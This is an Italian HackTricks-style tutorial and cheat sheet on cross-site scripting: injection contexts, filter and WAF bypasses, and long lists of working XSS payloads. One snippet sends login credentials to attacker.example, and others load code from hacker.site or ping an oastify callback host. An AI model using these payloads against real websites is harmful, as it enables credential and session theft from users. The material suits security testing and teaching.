XSS (Cross Site Scripting)

Reading time: 56 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Metodologia

  1. Verifica se qualsiasi valore che controlli (parameters, path, headers?, cookies?) viene riflesso nell'HTML o utilizzato da codice JS.
  2. Individua il contesto in cui viene riflesso/utilizzato.
  3. Se è riflesso
  4. Verifica quali simboli puoi usare e, in base a quelli, prepara il payload:
  5. In raw HTML:
  6. Puoi creare nuovi tag HTML?
  7. Puoi usare eventi o attributi che supportano il protocollo javascript:?
  8. Puoi bypassare le protezioni?
  9. Il contenuto HTML viene interpretato da qualche motore JS client side (AngularJS, VueJS, Mavo...)? Potresti sfruttare una Client Side Template Injection.
  10. Se non puoi creare tag HTML che eseguono codice JS, puoi sfruttare una Dangling Markup - HTML scriptless injection?
  11. All'interno di un tag HTML:
  12. Puoi uscire al contesto raw HTML?
  13. Puoi creare nuovi eventi/attributi per eseguire codice JS?
  14. L'attributo in cui sei intrappolato supporta l'esecuzione di JS?
  15. Puoi bypassare le protezioni?
  16. All'interno del codice JavaScript:
  17. Puoi uscire dal tag <script>?
  18. Puoi uscire dalla stringa ed eseguire un codice JS diverso?
  19. Il tuo input è in template literals ``?
  20. Puoi bypassare le protezioni?
  21. Funzione Javascript che viene eseguita
  22. Puoi indicare il nome della funzione da eseguire. e.g.: ?callback=alert(1)
  23. Se viene usato:
  24. Potresti sfruttare una DOM XSS, fai attenzione a come il tuo input è controllato e se il tuo input controllato è usato da qualche sink.

Quando lavori su un XSS complesso potrebbe esserti utile sapere di:

Debugging Client Side JS

Valori riflessi

Per sfruttare con successo un XSS la prima cosa da trovare è un valore controllato da te che viene riflesso nella pagina web.

  • Intermediately reflected: Se trovi che il valore di un parametro o anche del path viene riflesso nella pagina web puoi sfruttare una Reflected XSS.
  • Stored and reflected: Se trovi che un valore controllato da te viene salvato sul server e riflesso ogni volta che accedi a una pagina puoi sfruttare una Stored XSS.
  • Accessed via JS: Se trovi che un valore controllato da te viene accesso usando JS puoi sfruttare una DOM XSS.

Contesti

Quando cerchi di sfruttare un XSS la prima cosa da sapere è dove viene riflesso il tuo input. A seconda del contesto, sarai in grado di eseguire codice JS arbitrario in modi differenti.

Raw HTML

Se il tuo input è riflesso nell'HTML grezzo della pagina dovrai abusare di qualche tag HTML per eseguire codice JS: <img , <iframe , <svg , <script ... questi sono solo alcuni dei molti tag HTML che puoi usare.
Inoltre, tieni a mente Client Side Template Injection.

Inside HTML tags attribute

Se il tuo input è riflesso all'interno del valore di un attributo di un tag puoi provare:

  1. Di uscire dall'attributo e dal tag (poi sarai nell'HTML grezzo) e creare un nuovo tag HTML da abusare: "><img [...]
  2. Se puoi uscire dall'attributo ma non dal tag (> è codificato o cancellato), a seconda del tag potresti creare un evento che esegue codice JS: " autofocus onfocus=alert(1) x="
  3. Se non puoi uscire dall'attributo (" viene codificato o cancellato), allora a seconda di quale attributo il tuo valore è riflesso e se controlli tutto il valore o solo una parte sarai in grado di abusarne. Per esempio, se controlli un evento come onclick= potrai farlo eseguire codice arbitrario quando viene cliccato. Un altro interessante esempio è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"
  4. Se il tuo input è riflesso all'interno di "unexpoitable tags" puoi provare il trucco accesskey per abusare della vuln (avrai bisogno di qualche forma di social engineering per sfruttarlo): " accesskey="x" onclick="alert(1)" x="

Weird example of Angular executing XSS if you controls a class name:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

All'interno del codice JavaScript

In questo caso il tuo input viene riflesso tra i tag <script> [...] </script> di una pagina HTML, all'interno di un file .js o in un attributo che usa il protocollo javascript::

  • Se riflesso tra <script> [...] </script> tag, anche se il tuo input è all'interno di qualsiasi tipo di apici, puoi provare a iniettare </script> e uscire da questo contesto. Questo funziona perché il browser analizzerà prima i tag HTML e poi il contenuto, quindi non noterà che il tag </script> che hai iniettato è dentro il codice HTML.
  • Se riflesso inside a JS string e l'ultimo trucco non funziona, dovrai uscire dalla stringa, eseguire il tuo codice e ricostruire il codice JS (se c'è qualche errore, non verrà eseguito:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Se riflesso all'interno dei template literals puoi inserire espressioni JS usando la sintassi ${ ... }: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funziona per scrivere valid javascript code:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting fa riferimento alla possibilità di dichiarare functions, variables or classes dopo che sono state usate in modo da poter sfruttare scenari dove una XSS sta usando variabili o funzioni non dichiarate.
Controlla la pagina seguente per più info:

JS Hoisting

Javascript Function

Diverse pagine web hanno endpoint che accept as parameter the name of the function to execute. Un esempio comune che si vede nel mondo reale è qualcosa come: ?callback=callbackFunc.

Un buon modo per scoprire se qualcosa fornito direttamente dall'utente sta cercando di essere eseguito è modificare il valore del param (per esempio in 'Vulnerable') e guardare nella console errori come:

Se è vulnerabile, potresti essere in grado di trigger an alert semplicemente inviando il valore: ?callback=alert(1). Tuttavia, è molto comune che questi endpoints validate the content per consentire solo lettere, numeri, punti e underscore ([\w\._]).

Tuttavia, anche con quella limitazione è ancora possibile eseguire alcune azioni. Questo perché puoi usare quei caratteri validi per access any element in the DOM:

Alcune funzioni utili a tal fine:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Puoi anche provare ad attivare funzioni Javascript direttamente: obj.sales.delOrders.

Tuttavia, di solito gli endpoint che eseguono la funzione indicata sono endpoint senza un DOM molto interessante, altre pagine nella stessa origin avranno un DOM più interessante per eseguire più azioni.

Pertanto, per abusare di questa vulnerabilità in un DOM diverso è stato sviluppato lo sfruttamento Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Esiste del JS code che utilizza in modo non sicuro alcuni dati controllati da un attacker come location.href. Un attacker potrebbe abusarne per eseguire codice JS arbitrario.

DOM XSS

Universal XSS

Questo tipo di XSS può essere trovato ovunque. Non dipendono soltanto dall'exploitation lato client di un'applicazione web ma da qualsiasi contesto. Questo tipo di arbitrary JavaScript execution può perfino essere abusato per ottenere RCE, leggere file arbitrari nei client e nei server, e altro ancora.\
Alcuni esempi:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Iniezione all'interno di HTML grezzo

Quando il tuo input viene riflesso all'interno della pagina HTML o puoi eseguire escape e iniettare codice HTML in questo contesto, la prima cosa che devi fare è controllare se puoi abusare di < per creare nuovi tag: prova semplicemente a riflettere quel carattere e verifica se viene codificato in HTML o eliminato oppure se viene riflesso senza modifiche. Solo nell'ultimo caso riuscirai a sfruttare questa situazione.\ Per questi casi tieni anche a mente Client Side Template Injection.\ Nota: Un commento HTML può essere chiuso usando****-->****o **--!>**

In questo caso, e se non viene utilizzato alcun black/whitelisting, potresti usare payload come:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Tuttavia, se è in uso un meccanismo di black/whitelisting per tag/attributi, dovrai brute-force quali tag puoi creare.
Una volta che hai individuato quali tag sono consentiti, dovrai brute-force attributi/eventi all'interno dei tag validi trovati per vedere come puoi attaccare il contesto.

Brute-force di tag/eventi

Vai su https://portswigger.net/web-security/cross-site-scripting/cheat-sheet e clicca su Copy tags to clipboard. Poi, inviali tutti usando Burp intruder e controlla se qualche tag non è stato rilevato come malevolo dal WAF. Una volta scoperto quali tag puoi usare, puoi brute-force tutti gli eventi usando i tag validi (nella stessa pagina clicca su Copy events to clipboard e segui la stessa procedura di prima).

Tag personalizzati

Se non hai trovato alcun tag HTML valido, puoi provare a creare un tag personalizzato ed eseguire codice JS con l'attributo onfocus. Nella richiesta XSS, devi terminare l'URL con # per far sì che la pagina focalizzi quell'oggetto e esegua il codice:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Se viene usata una sorta di blacklist, puoi provare a bypassarla con qualche trucco sciocco:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Ulteriori tiny XSS per ambienti diversi payload si possono trovare qui e qui.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

L'ultimo usa 2 caratteri unicode che si espandono in 5: telsr
Altri di questi caratteri si possono trovare qui.
Per verificare in quali caratteri vengono decomposti controlla qui.

Click XSS - Clickjacking

Se per sfruttare la vulnerabilità hai bisogno che l'user clicchi un link o un form con dati precompilati, puoi provare a abuse Clickjacking (se la pagina è vulnerabile).

Impossible - Dangling Markup

Se pensi semplicemente che sia impossibile creare un tag HTML con un attributo in grado di eseguire codice JS, dovresti controllare Danglig Markup perché potresti sfruttare la vulnerabilità senza eseguire codice JS.

Iniezione dentro un tag HTML

All'interno del tag/uscire dal valore dell'attributo

Se ti trovi all'interno di un tag HTML, la prima cosa da provare è uscire dal tag e usare alcune delle tecniche menzionate nella sezione precedente per eseguire codice JS.
Se non puoi uscire dal tag, puoi creare nuovi attributi all'interno del tag per provare a eseguire codice JS, per esempio usando un payload come (nota che in questo esempio le doppie virgolette sono usate per uscire dall'attributo, non ne avrai bisogno se il tuo input è riflesso direttamente nel tag):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventi di stile

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

All'interno dell'attributo

Anche se non puoi uscire dall'attributo (" viene codificato o rimosso), a seconda di in quale attributo il tuo valore viene riflesso e se controlli l'intero valore o solo una sua parte potrai abusarne. Per esempio, se controlli un evento come onclick= potrai far eseguire codice arbitrario al click.
Un altro interessante esempio è l'attributo href, dove puoi usare il protocollo javascript: per eseguire codice arbitrario: href="javascript:alert(1)"

Bypass all'interno dell'evento usando HTML encoding/URL encode

I caratteri HTML codificati all'interno del valore degli attributi dei tag HTML vengono decodificati al runtime. Pertanto qualcosa del genere sarà valido (il payload è in grassetto): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Nota che qualsiasi tipo di codifica HTML è valida:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Nota che URL encode funzionerà anche:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass all'interno di event usando Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolli speciali all'interno dell'attributo

Lì puoi usare i protocolli javascript: o data: in alcuni contesti per eseguire codice JS arbitrario. Alcuni richiederanno l'interazione dell'utente, altri no.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Luoghi in cui puoi iniettare questi protocolli

In generale il protocollo javascript: può essere usato in qualsiasi tag che accetta l'attributo href e in molti dei tag che accettano l'attributo src (ma non <img)

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Altri trucchi di obfuscation

In questo caso il trucco di HTML encoding e Unicode encoding dalla sezione precedente è anch'esso valido poiché ti trovi all'interno di un attributo.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Inoltre, c'è un altro trucco utile per questi casi: Anche se il tuo input dentro javascript:... viene URL encoded, sarà URL decoded prima di essere eseguito. Quindi, se hai bisogno di uscire dalla stringa usando un apice singolo e vedi che viene URL encoded, ricordati che non importa, sarà interpretato come un apice singolo durante il tempo di esecuzione.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Nota che se provi a usare entrambi URLencode + HTMLencode in qualsiasi ordine per codificare il payload non funzionerà, ma puoi mescolarli all'interno del payload.

Uso di Hex e Octal encode con javascript:

Puoi usare Hex e Octal encode all'interno dell'attributo src di iframe (almeno) per dichiarare HTML tags to execute JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Se puoi iniettare qualsiasi URL in un qualsiasi tag arbitrario <a href= che contiene gli attributi target="_blank" and rel="opener", consulta la pagina seguente per sfruttare questo comportamento:

Reverse Tab Nabbing

Bypass degli event handler "on"

Prima di tutto consulta questa pagina (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) per utili "on" event handlers.
Nel caso ci sia una blacklist che ti impedisca di creare questi event handlers, puoi provare i seguenti bypass:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Da qui ora è possibile abusare degli hidden inputs con:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

E nei meta tag:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Da here: È possibile eseguire un XSS payload inside a hidden attribute, a condizione che tu possa persuadere la victim a premere la key combination. Su Firefox (Windows/Linux) la combinazione di tasti è ALT+SHIFT+X e su OS X è CTRL+ALT+X. Puoi specificare una combinazione diversa usando una chiave diversa nell'access key attribute. Ecco il vettore:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Il payload XSS sarà qualcosa del genere: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Diverse tecniche usando differenti encoding sono già state esposte in questa sezione. Torna indietro per imparare dove puoi usare:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Leggi la Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Leggi la JavaScript bypass blacklist of the following section.

CSS-Gadgets

Se trovi una XSS in una parte molto piccola del sito che richiede qualche tipo di interazione (magari un piccolo link nel footer con un elemento onmouseover), puoi provare a modificare lo spazio che l'elemento occupa per massimizzare le probabilità che il link venga attivato.

Per esempio, potresti aggiungere dello stile nell'elemento come: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Ma, se il WAF sta filtrando l'attributo style, puoi usare CSS Styling Gadgets, quindi se trovi, per esempio

.test {display:block; color: blue; width: 100%}

e

#someid {top: 0; font-family: Tahoma;}

Ora puoi modificare il nostro link e portarlo nella forma

<a href="" id=someid class=test onclick=alert() a="">

Questo trucco è preso da https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In questi casi il tuo input sarà riflesso all'interno del codice JS di un file .js o tra i tag <script>...</script> o in eventi HTML che possono eseguire codice JS o in attributi che accettano il protocollo javascript:.

Escaping <script> tag

Se il tuo codice è inserito all'interno di <script> [...] var input = 'reflected data' [...] </script> puoi facilmente escape della chiusura del tag <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Nota che in questo esempio non abbiamo nemmeno chiuso l'apice singolo. Questo perché il parsing HTML viene eseguito prima dal browser, che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. Il parsing del JavaScript per comprendere ed eseguire gli script incorporati viene effettuato solo in seguito.

All'interno del codice JS

Se <> vengono sanitizzati puoi comunque escape the string dove il tuo input è posizionato e execute arbitrary JS. È importante fix JS syntax, perché se ci sono errori, il codice JS non verrà eseguito:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Quando l'input dell'utente si trova all'interno di una stringa JavaScript quotata (es., server-side echo dentro uno script inline), puoi terminare la stringa, iniettare codice e riparare la sintassi per mantenere il parsing valido. Scheletro generico:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Esempio di pattern URL quando il parametro vulnerabile viene riflesso in una stringa JS:

?param=test";<INJECTION>;a="

Questo esegue JS controllato dall'attaccante senza la necessità di toccare il contesto HTML (puro JS-in-JS). Combinalo con i blacklist bypasses qui sotto quando i filtri bloccano parole chiave.

Template literals ``

Per creare stringhe, oltre alle virgolette singole e doppie, JS accetta anche i backticks `` . Questo è noto come template literals poiché permettono di inserire espressioni JS usando la sintassi ${ ... }.\ Quindi, se scopri che il tuo input viene riflesso all'interno di una stringa JS che usa i backticks, puoi abusare della sintassi ${ ... } per eseguire codice JS arbitrario:

Questo può essere abusato usando:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Esecuzione di codice codificato

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Payload eseguibili con eval(atob()) e sfumature di scope

Per mantenere gli URL più corti e bypassare filtri di keyword ingenui, puoi base64-encode la logica reale e valutarla con eval(atob('...')). Se un semplice filtraggio per keyword blocca identificatori come alert, eval, o atob, usa identificatori Unicode-escaped che compilano identicamente nel browser ma sfuggono ai filtri basati su confronto di stringhe:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Sfumatura importante sullo scoping: const/let dichiarati all'interno di eval() sono limitati al blocco (block-scoped) e NON creano variabili globali; non saranno accessibili agli script successivi. Usa un elemento <script> iniettato dinamicamente per definire hook globali non riassegnabili quando necessario (es., per hijackare un form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Esecuzione JS con codifica Unicode

javascript
alert(1)
alert(1)
alert(1)

Tecniche per bypassare le blacklist in JavaScript

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Sequenze di escape speciali

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Sostituzioni di spazi all'interno del codice JS

javascript
<TAB>
/**/

Commenti JavaScript (dal JavaScript Comments trucco)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript nuove righe (da JavaScript new line trucco)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript spazi bianchi

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript all'interno di un commento

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript senza parentesi

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Chiamata arbitraria di funzione (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
